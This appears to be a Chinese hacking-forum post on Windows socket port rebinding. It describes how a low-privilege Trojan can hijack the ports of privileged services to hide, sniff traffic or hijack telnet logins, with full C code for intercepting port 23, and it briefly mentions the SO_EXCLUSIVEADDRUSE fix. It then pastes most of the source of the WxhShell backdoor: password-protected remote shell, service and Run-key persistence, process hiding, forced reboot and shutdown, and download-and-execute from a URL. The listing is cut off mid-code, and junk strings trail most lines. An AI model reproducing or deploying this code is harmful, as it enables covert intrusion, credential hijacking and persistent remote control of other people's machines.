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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _F8-4  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); lWf(!=0m  
?:zMrlX  
  saddr.sin_family = AF_INET; Ox'K C  
% %2~%FVb  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); u/\Ipk/  
otP2qAI  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); {>brue*)  
dQ<e}wtg  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 x}reeqn  
Ja@ ?.gW  
  这意味着什么?意味着可以进行如下的攻击: C|QJQ@bj0  
`X`|]mWj  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 kYd=DY  
2Paw*"U  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) #KtV4)(  
P|aSbsk:I<  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 FOcDBCrOe  
ab6D&  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Mq6_Q07  
];0:aSi#  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 EkN>5).  
gJzS,g1]  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 kaCn@$  
W*4!A\K  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 er!+QD,EM  
[|HQfTp$  
  #include ]d&;QZ#w  
  #include 3v<9 Z9O  
  #include rO1.8KKJ  
  #include    N=:xyv  
  DWORD WINAPI ClientThread(LPVOID lpParam);   u)ZZ/|  
  int main() ['0^gN$:e  
  { IRI<no  
  WORD wVersionRequested; c;R .rV<  
  DWORD ret; 8EI&}I  
  WSADATA wsaData; Z,b^f Vw  
  BOOL val; a &R,jq  
  SOCKADDR_IN saddr; .fY$$aD$4  
  SOCKADDR_IN scaddr; lx~mn~;x  
  int err; lt}U,p,S  
  SOCKET s; ra\|c>[%  
  SOCKET sc; aII:Pzh]B  
  int caddsize; @;d7#!:cE  
  HANDLE mt; NMP*q @  
  DWORD tid;   Q9t.*+  
  wVersionRequested = MAKEWORD( 2, 2 ); "S&1J8D|  
  err = WSAStartup( wVersionRequested, &wsaData ); }HZ'i;~r|9  
  if ( err != 0 ) { KhbbGdmfS$  
  printf("error!WSAStartup failed!\n"); W@FGU  
  return -1; c<qJs-C4;  
  } k${F7I(Tb  
  saddr.sin_family = AF_INET; *km - pp  
   jY\YSQ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 vYG$>*  
Aj=c,]2  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Cd7d-'EQn  
  saddr.sin_port = htons(23); 5c l%>U  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !E\J`K0_e  
  { SCMZ-^b  
  printf("error!socket failed!\n"); GJuU?h#:/{  
  return -1; ;V1e>?3  
  } )i>T\B  
  val = TRUE; DZ|/#- k  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 3bB%@^<  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) gH/k}M7tA#  
  { ;4]l P  
  printf("error!setsockopt failed!\n"); (%;D& ~%o  
  return -1; ]5J*UZ}  
  } i{/nHrN  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; woK?td|/  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 = G3A}  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 y|Zj M  
BRMR> ~k(  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) C/pu]%n@4  
  { ^kpu9H  
  ret=GetLastError(); Z7R+'OC  
  printf("error!bind failed!\n"); 4'# _b  
  return -1; Aaix? |XN  
  } GpM_ Qp  
  listen(s,2); h%@#jvh?4  
  while(1) vweD{\b  
  { n?A;'\cK  
  caddsize = sizeof(scaddr);  6@ )bZ|  
  //接受连接请求 R0mWVgoz  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); uM~j  
  if(sc!=INVALID_SOCKET) M3 $MgsN:  
  { ZCVN+::Y  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); :YZMR JL  
  if(mt==NULL) l,3[hx  
  { \Tj(]  
  printf("Thread Creat Failed!\n"); bga2{<VF  
  break; :dzam HbX9  
  } m,]M_y\u  
  } _&m   
  CloseHandle(mt); -vC?bumR%  
  } l=JK+uZ  
  closesocket(s); Zx]"2U#  
  WSACleanup(); OC[(Eq  
  return 0; v4Q8RE?  
  }   {z}OZHJN  
  DWORD WINAPI ClientThread(LPVOID lpParam) ) 4'@=q  
  { \D #NO  
  SOCKET ss = (SOCKET)lpParam; g@lAk%V4  
  SOCKET sc; =>6'{32W_  
  unsigned char buf[4096]; FeFH_  
  SOCKADDR_IN saddr; #VEHyz6P  
  long num; z<mU$<  
  DWORD val; [(N<E/m%B  
  DWORD ret; %fz!'C_4  
  //如果是隐藏端口应用的话,可以在此处加一些判断 SSF4P&  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Wz7jB6AWA  
  saddr.sin_family = AF_INET; "L" 6jT  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); W7"ks(  
  saddr.sin_port = htons(23); oFV >b  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )/9/p17:xu  
  { Ofg-gCF8  
  printf("error!socket failed!\n"); ~(`iRxK  
  return -1; kSw.Q2ao  
  } Kq;Yb&  
  val = 100; FiqcM-Af4  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) R{hKl#j;>  
  { f+huhJS5e  
  ret = GetLastError(); PZ"=t!  
  return -1; Xu:S h<:R  
  } (v8jVbg  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) m>6,{g)  
  { pemb2HQ'4j  
  ret = GetLastError(); x AD:Z "  
  return -1; nV%1/e"5  
  } BS;_l"?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) e? fFh,a  
  { ~V"D|U;i +  
  printf("error!socket connect failed!\n"); .~6p/fHX  
  closesocket(sc); DO$jX 4  
  closesocket(ss); Dw^d!%Ala  
  return -1; ]|[oL6"  
  } ;Z"6ve4  
  while(1) ;p#)z/zZ  
  { MI@id  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?j8F5(HF?  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 B@l/'$G  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 2, ` =i  
  num = recv(ss,buf,4096,0); [L,Tf_t^Y  
  if(num>0) ,r{\aW@  
  send(sc,buf,num,0); u%S&EuX  
  else if(num==0) yla&/K;|*  
  break; F%x8y  
  num = recv(sc,buf,4096,0); j']m*aM1>  
  if(num>0) *O|Z[>  
  send(ss,buf,num,0); Llk4 =p  
  else if(num==0) R;f!s/^)  
  break; cSBYC_LU  
  } gfs?H#  
  closesocket(ss); 'kK}9VKl  
  closesocket(sc); Y`3>i,S6\  
  return 0 ; 5/Q^p"  
  } <ok/2v  
b$+.}&M  
0Q=4{*:?  
========================================================== ZO+c-!%[(  
Dm[4`p@IY\  
下边附上一个代码,,WXhSHELL ]w(i,iJ  
#!KbqRt  
========================================================== .Kr?vD^nG  
%9xz[Ng  
#include "stdafx.h" 41WnKz9c  
K<KyX8$P0  
#include <stdio.h> .S17O}  
#include <string.h> n97A'"'wz  
#include <windows.h> 9Bl_t}0  
#include <winsock2.h> Im1e/F]  
#include <winsvc.h> mV} peb  
#include <urlmon.h> Q9Wa@gi|  
1j<=TWit  
#pragma comment (lib, "Ws2_32.lib") w9h\J#f  
#pragma comment (lib, "urlmon.lib") t7("geN]  
DQd~!21\|  
#define MAX_USER   100 // 最大客户端连接数 HKCMKHR  
#define BUF_SOCK   200 // sock buffer #z)@T  
#define KEY_BUFF   255 // 输入 buffer i3*S`/]p  
" ;cWK29\f  
#define REBOOT     0   // 重启 YsXP$y]g-  
#define SHUTDOWN   1   // 关机 v"Fa_+TVx  
GmB7@-[QA%  
#define DEF_PORT   5000 // 监听端口 b,8W |  
Pm6/sO  
#define REG_LEN     16   // 注册表键长度 lN)U8  
#define SVC_LEN     80   // NT服务名长度 EaG3:<>J  
P7(+{d{  
// 从dll定义API ;$ =`BI)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ig] * Z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); iK1<4)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1K&z64Q5J  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [J0L7p*6  
Y!v `0z  
// wxhshell配置信息 !MNUp(:  
struct WSCFG { w%)=`'s_  
  int ws_port;         // 监听端口 6|t4\'  
  char ws_passstr[REG_LEN]; // 口令 Zg%U4m:  
  int ws_autoins;       // 安装标记, 1=yes 0=no )R+@vh#Q<$  
  char ws_regname[REG_LEN]; // 注册表键名 P}y}IR{6  
  char ws_svcname[REG_LEN]; // 服务名 ^_r8R__S:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 eXWiTi@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _) 2fXG!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Zi[@xG8dm  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _=XzQZT!L  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" h*{{_3,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qC40/1-m8K  
s (J,TS#I]  
}; B0NKav  
~S15tZ $  
// default Wxhshell configuration .HF+JHIUu  
struct WSCFG wscfg={DEF_PORT, f*7/O |Gp  
    "xuhuanlingzhe", F_U3+J>  
    1, IY?[0S  
    "Wxhshell", gR"'|c   
    "Wxhshell", bWo-( qxq  
            "WxhShell Service", a;D{P`%n  
    "Wrsky Windows CmdShell Service", ~sshhuF  
    "Please Input Your Password: ", /cUcfe#X  
  1, meT~b  
  "http://www.wrsky.com/wxhshell.exe", C] qY  
  "Wxhshell.exe" 2f16 /0J@  
    }; 7^#f<m;Ar!  
R$4&>VBu  
// 消息定义模块 E$; =*0w  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; oJbD|m  
char *msg_ws_prompt="\n\r? for help\n\r#>"; wIz<Y{HA=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .a1WwI  
char *msg_ws_ext="\n\rExit."; u{yENZ^P  
char *msg_ws_end="\n\rQuit."; sptDzVM  
char *msg_ws_boot="\n\rReboot..."; $R%xeih1fz  
char *msg_ws_poff="\n\rShutdown..."; pHEhB9_A!  
char *msg_ws_down="\n\rSave to "; YA O, rh  
mHB*4L  
char *msg_ws_err="\n\rErr!"; I.A7H'j  
char *msg_ws_ok="\n\rOK!"; ,5HQHo@  
*+re2O)Eh'  
char ExeFile[MAX_PATH]; e3UGYwQ  
int nUser = 0; x'@0]f.  
HANDLE handles[MAX_USER]; tbF>"?FY/  
int OsIsNt; Nt9M$?\P  
@T  
SERVICE_STATUS       serviceStatus; :2{6Pa(eg  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }$s#H{T!  
O&Q_ vY  
// 函数声明 rlmzbIu I9  
int Install(void); +',[q  
int Uninstall(void); E8zga )  
int DownloadFile(char *sURL, SOCKET wsh); j|TcmZGO  
int Boot(int flag); N}b/; Y  
void HideProc(void); kB {  
int GetOsVer(void); \:-#,( .V  
int Wxhshell(SOCKET wsl); S(eCG2gR  
void TalkWithClient(void *cs); P7O$*  
int CmdShell(SOCKET sock); I3]-$  
int StartFromService(void); ?*|AcMw5  
int StartWxhshell(LPSTR lpCmdLine); bO>q`%&  
trcG^uV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Q{T6t;eH  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); z$$ E7i  
>Lx,<sE  
// 数据结构和表定义 eRc+.m[  
SERVICE_TABLE_ENTRY DispatchTable[] = G?CaCleG  
{ q,3_)ZOq  
{wscfg.ws_svcname, NTServiceMain}, |9T3" _MmJ  
{NULL, NULL} A!\ouKyayS  
}; Ppi/`X  
1Y4=D  
// 自我安装 AM  cHR=/  
int Install(void) >UvLeS2h:y  
{ $$ouqLu  
  char svExeFile[MAX_PATH]; @^]wT_r  
  HKEY key; 9J h"1i>x2  
  strcpy(svExeFile,ExeFile); jh0``{  
e\%+~GUTC=  
// 如果是win9x系统,修改注册表设为自启动 g*?)o!_*  
if(!OsIsNt) { S7]\tw_L)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /~[+'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /|V!2dQs"  
  RegCloseKey(key); IV*@}~BJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nf=*KS\v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =&G<^7  
  RegCloseKey(key); |b" h+  
  return 0; ]=\vl>W  
    } ?3 {&"  
  } DKw%z8ft|  
} C4wJSQl_I  
else { )Be?axI  
d5h]yIz^  
// 如果是NT以上系统,安装为系统服务 7Mq4$|qhD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \Jm fQrBQ  
if (schSCManager!=0) IX@g].)C  
{ Otq`45  
  SC_HANDLE schService = CreateService z-};.!L^  
  ( /orpQUHA  
  schSCManager, qNb|6/DG  
  wscfg.ws_svcname, +Tz Z   
  wscfg.ws_svcdisp, hbl%<ItI49  
  SERVICE_ALL_ACCESS, (1pI#H"f9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W[Kv Qt3%  
  SERVICE_AUTO_START, bW03m_<M<1  
  SERVICE_ERROR_NORMAL, ,{DZvif   
  svExeFile, f}{ lRk  
  NULL, *FhD%><  
  NULL, 0kC}qru'  
  NULL, `q =e<$  
  NULL, {6H%4n  
  NULL }*eiG  
  ); vxuxfi8x  
  if (schService!=0) !R p  
  { W=b<"z]RE  
  CloseServiceHandle(schService); 74f3a|vx/  
  CloseServiceHandle(schSCManager); &q~**^;'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); VG FWF3s  
  strcat(svExeFile,wscfg.ws_svcname); 8/q6vk><  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { j7r!N^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $p_FrN{  
  RegCloseKey(key); [4qCW{x._  
  return 0; Xc)V;1  
    } %f??O|O3  
  } h M{&if  
  CloseServiceHandle(schSCManager); ~{69&T}9  
} Arvxl(R\4  
} 5W hR |  
rb8c^u#r  
return 1; ]MI> "hn  
} &?+vHE}  
! C}t)R]^  
// 自我卸载 ^Ej4^d  
int Uninstall(void) /P_1vQq  
{ dzA5l:5  
  HKEY key; IX/FKSuq  
$BIQ# T>qK  
if(!OsIsNt) { W?+U%bIZ9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bOIVe  
  RegDeleteValue(key,wscfg.ws_regname); }m '= _u  
  RegCloseKey(key); oh%kuO T[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $E=t6WvA  
  RegDeleteValue(key,wscfg.ws_regname); P "S=RX#+  
  RegCloseKey(key); *Nfn6lVB  
  return 0; \Xy]z  
  } CR*9-Y93  
} Cjvgf .>$  
} >Hh8K<@NL  
else { E>_?9~8Mf  
 }qf9ra  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); t<`h(RczHI  
if (schSCManager!=0) In1VW|4h  
{ FN$ hEc!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'vgO`  
  if (schService!=0) ,.# SEv5  
  { }h+_kRQ  
  if(DeleteService(schService)!=0) { TWv${m zE  
  CloseServiceHandle(schService); 2m`4B_g A  
  CloseServiceHandle(schSCManager); :V)W?~Z7B  
  return 0; >)Ih[0~M  
  } ONx|c'0g  
  CloseServiceHandle(schService); ,!`94{Ggv  
  } ]U :1N C"  
  CloseServiceHandle(schSCManager); @ mzf(Aq  
} fVR:m`'Iq_  
}  eiLtZQ  
WA);Z=  
return 1; hl4@Y#n  
} 3J\NkaSR  
^RN1?dXA  
// 从指定url下载文件 6r"PtHr  
int DownloadFile(char *sURL, SOCKET wsh) rWN#QL()*  
{ 3YY<2<  
  HRESULT hr; C:tA|<b|  
char seps[]= "/"; P\ yt!S2  
char *token; E)(`Z0  
char *file; ] o!#]]   
char myURL[MAX_PATH]; j/zD`yd j  
char myFILE[MAX_PATH]; `_2#t1`u  
vFfvvRda4x  
strcpy(myURL,sURL); q.(p.uD  
  token=strtok(myURL,seps); <`dF~   
  while(token!=NULL) qZ!1>`B  
  { \!UNa le  
    file=token; S"|sD|xOb  
  token=strtok(NULL,seps); M/U$x /3K  
  } &}Y_EHj}  
%iPu51+=  
GetCurrentDirectory(MAX_PATH,myFILE); B3I\=  
strcat(myFILE, "\\"); ?Y"bt^4j  
strcat(myFILE, file); FswMEf-|  
  send(wsh,myFILE,strlen(myFILE),0); nsyg>=j  
send(wsh,"...",3,0); 0/.#V*KM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4'BzW Z;_a  
  if(hr==S_OK) >Kl78w:  
return 0; -X#J<u T/  
else 39!o!_g  
return 1; ^H+j;K{5,  
@LY 5]og  
} ~A0E4UJgq  
O$ i6r]j_  
// 系统电源模块 ;(w=}s%]+  
int Boot(int flag) ` w Sg/  
{ Q, E!Ew3  
  HANDLE hToken; ` n{rzenPX  
  TOKEN_PRIVILEGES tkp; zIbl[[M&  
BfOG e!Si  
  if(OsIsNt) { |-7<?aw"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )Jx!VJ^Y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v)JQb-<  
    tkp.PrivilegeCount = 1; \h^bOxh  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; hMJ \a  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )!dELS \ix  
if(flag==REBOOT) { <.3@-z>w2,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) tC+9W1o  
  return 0; b* Ipg8n+  
} .<Z7 K @  
else { a73b/_zZ=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^&uWAQohL  
  return 0; 3w )S=4lB  
} *9^CgLF  
  } f/)3b`$Wu  
  else { Pi?*rr5WZ  
if(flag==REBOOT) { KGUpXMd^Z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) v>3ctP {  
  return 0; rOY^w9!  
} <YL\E v/[  
else { kyJv,!};  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) wrG*1+r  
  return 0; #)R;6"  
} {CH\TmSz  
} kt1f2cj  
#py7emu  
return 1; >/n5=RWh  
} HXU"]s2Z  
{(wV>Oc>Jw  
// win9x进程隐藏模块 $!I$*R&  
void HideProc(void) iy tSC  
{ MbnV5b:X  
xSb/9 8;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?p5RSt  
  if ( hKernel != NULL ) u\qyh9s  
  { -lL*WA`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); dab>@z4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); },a|WL3^  
    FreeLibrary(hKernel); o\]e}+1[o  
  } J=K3S9:n]g  
z,rWj][P  
return; Cw{#(xX  
} %o4d4 3uZ  
C`mXEX5  
// 获取操作系统版本 ^e>v{AE%  
int GetOsVer(void) 4v2(YJ%u  
{ (kp}mSw  
  OSVERSIONINFO winfo; .M>u:,v  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); C,PCU<q  
  GetVersionEx(&winfo); GWE`'V  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) hQGZrZK#  
  return 1; P >N\q  
  else ;JL@V}L,  
  return 0; ^ioTd  
} uFdSD  
\((>i7C  
// 客户端句柄模块 ^J% w[FE  
int Wxhshell(SOCKET wsl) nBiSc*  
{ zm8m J2s  
  SOCKET wsh; q=?"0i&V  
  struct sockaddr_in client; 6C]!>i}U  
  DWORD myID; TaolX*$5  
_ux 6SIyp`  
  while(nUser<MAX_USER)  j Mp{  
{ b!.# `.  
  int nSize=sizeof(client); G|O"Kv6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); W>@%d`>o5  
  if(wsh==INVALID_SOCKET) return 1; L0&!Qct  
V$v;lvt^Uq  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); T)C  
if(handles[nUser]==0) T[Gz  
  closesocket(wsh); 6  09=o+  
else c7rYG]  
  nUser++; D 0n2r  
  } &tRnI$D  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); q',a7Tf:  
8%xtb6#7M  
  return 0; [2\`Wh:%P  
} )i!)Tv  
9q8 rf\&  
// 关闭 socket |x5 w;=  
void CloseIt(SOCKET wsh) W' 2)$e  
{ S'@"a%EV  
closesocket(wsh); kT$4X0}  
nUser--; H>7!+&M  
ExitThread(0); 4x C0Aw  
} *E. 2R{  
e@,L~ \  
// 客户端请求句柄 ~r>UjC_ B:  
void TalkWithClient(void *cs) Mvcl9  
{ F 1zc4l6  
9MYt4  
  SOCKET wsh=(SOCKET)cs; 3p4bOT5  
  char pwd[SVC_LEN]; &0C!P=-p  
  char cmd[KEY_BUFF]; i{e<kKh  
char chr[1]; (Iq\+@xE=  
int i,j; 33;|52$  
^#t<ILUa  
  while (nUser < MAX_USER) { ah<f&2f  
VmT5? i  
if(wscfg.ws_passstr) { $OhL 95}7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <%Rr-,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Fh/C{cX9g  
  //ZeroMemory(pwd,KEY_BUFF); =H?Nb:s  
      i=0; G? _,(  
  while(i<SVC_LEN) { oaXD^ H\  
sO6t8)$b  
  // 设置超时 C9iG`?  
  fd_set FdRead; `fV$'u  
  struct timeval TimeOut; #62ww-E~  
  FD_ZERO(&FdRead); >S3 >b  
  FD_SET(wsh,&FdRead); 7> ]C2!  
  TimeOut.tv_sec=8; VN".NEL  
  TimeOut.tv_usec=0; ^}[ N4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); jXDo!a| 4y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); P4AdfHk  
$ta#] >{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p}!pT/KmpH  
  pwd=chr[0]; e^an` </{  
  if(chr[0]==0xd || chr[0]==0xa) { UCWU|r<s,  
  pwd=0; ropiyT9;  
  break; k %rP*b*  
  } A3$b_i@P  
  i++; #3$|PM7,_  
    } 0`thND)?O  
_ o(h]G1].  
  // 如果是非法用户,关闭 socket #P@r[VZ{6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {p\KB!Y-  
} 24Tw1'mW  
18HHEW{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); u'b_zlW@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +~v(*s C  
l85" C  
while(1) { 0cbF.Um8  
v%- V|L  
  ZeroMemory(cmd,KEY_BUFF); CYu8J@(\~g  
xd.C&Dx5  
      // 自动支持客户端 telnet标准   ?(=B=a[  
  j=0; $ g^;*>yr  
  while(j<KEY_BUFF) { &Os Ritj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u^uG_^^,/  
  cmd[j]=chr[0]; 7(;VUR%%.  
  if(chr[0]==0xa || chr[0]==0xd) { qTGy\i  
  cmd[j]=0; ZSSgc0u^?  
  break; ~>R)H#mP7  
  } ;v'Y' !-J  
  j++; OR9){qP  
    } pp`U]Q5"gX  
G<eJ0S  
  // 下载文件 `QF|> N  
  if(strstr(cmd,"http://")) { `!8Z"xD  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); mx4*zj  
  if(DownloadFile(cmd,wsh)) <i6MbCB  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]>o2P cb;  
  else 3Cl9,Z"&6$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Uf<vw3  
  } 8(;i~f:bCW  
  else { 9 JtG&^*  
OXB-.<  
    switch(cmd[0]) { !/zj7z !  
   B" z5j  
  // 帮助 hH/ O2  
  case '?': { g1|c?#fwo  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); UXJl;M b  
    break; ~-%A@Lt  
  } n}?G!ySg  
  // 安装 7A6sSfPUy  
  case 'i': { }b(e  
    if(Install()) J5T#}!f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BxU1Q&  
    else K=)R!e8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DeSTo9A}!  
    break; 4C cb!?  
    } 5XHkRcESZ  
  // 卸载 {LDb*'5Cy  
  case 'r': { h_L '_*  
    if(Uninstall()) cF vx* n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #VE$C3<  
    else {  9$Q|XK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O2dgdtm  
    break; :bDA<B6bb  
    } S/;Y4o  
  // 显示 wxhshell 所在路径 4vS!99v)  
  case 'p': { >6 #\1/RP  
    char svExeFile[MAX_PATH]; ]Dg0@Y  
    strcpy(svExeFile,"\n\r"); bn35f<+  
      strcat(svExeFile,ExeFile); O;BPd:<  
        send(wsh,svExeFile,strlen(svExeFile),0); Gf\_WNrSE+  
    break; $O8V!R*  
    } v!xrUyN~m  
  // 重启 |Ze}bM=N  
  case 'b': { BkfBFUDQ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !e `=UZe1  
    if(Boot(REBOOT)) <GRf%zJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9A(K_d-!H  
    else { +GU16+w~E  
    closesocket(wsh); \k_3IP?o=  
    ExitThread(0); !ei20@  
    } fZ fiiE~7J  
    break; 5qEdN  
    }  F`.7_D  
  // 关机 oZ[ w  
  case 'd': { QB,ad   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2v1&%x:y#  
